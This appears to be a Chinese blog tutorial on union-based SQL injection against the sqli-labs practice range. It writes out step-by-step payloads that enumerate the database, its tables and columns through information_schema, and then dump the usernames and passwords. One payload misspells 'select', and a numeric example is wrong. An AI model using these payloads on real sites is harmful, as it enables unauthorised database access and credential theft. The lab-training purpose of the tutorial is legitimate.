之前已经简单介绍了sql注入的基本原理,接下来会按照sql注入的各种类型一一进行梳理,sql注入的常见主要分为回显注入、报错注入、bool盲注、延时注入、堆叠注入、二次注入、宽字节注入、http头注入、DNS LOAD注入。
回显注入需要依靠页面具有数据库查询出内容,使用注入来替换掉本身应该显示的内容来进行攻击的。比如在靶场sqli-labs的第二关中页面查询的内容是通过传入的id=2来控制的
当id=0时,数据库没有id=0的内容,所以就不返回任何数据
我们可以看他的后台查询语句
查询了users表中的所有内容,所以Angelina和L-kill-you是存储在数据库中的内容。以上是简单的分析。
1.接下来进行sql注入的第一步,进行注入点判断。
使用and 1=1和and1=2来判断
明显and语句执行了,导致整个sql语句为假,所以这里是一个数字型注入点,不需要进行闭合
2.第二步进行列数的判断,使用order by进行列数判断时,通常使用二分法来提高效率,比如100过大,就减半测试500。,结合页面判断列数不多,猜测4
4如果过大的话再猜测3,3回显正确
3.然后将id的值进行修改,修改为数据库中不存在的值,就会将回显的位置腾出来。
(1)联合查询进行回显位的判断
payload: id=0 union select 1,2,3 明显能看出2列和3列的位置有回显内容
(2)查库名
payload: id=0 union select 1,database(),3
(3)查表名
id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
其中库information_schema是mysql中自带的一个库,包含其他库的大量信息,通过它来查询其他库的信息,在mysql5.0以上都有
(4)查列名,表名为users
id=0 union slect 1,group_concat(column_name),3 from information_schema.columns where table_name=“users”
(5)查内容,字段名为id,username,password,我们不需要id的内容
id=0 union select 1,group_concat(username),group_concat(password) from security.users
在内容如果过多可以在语句中加上limit进行限制来逐个输出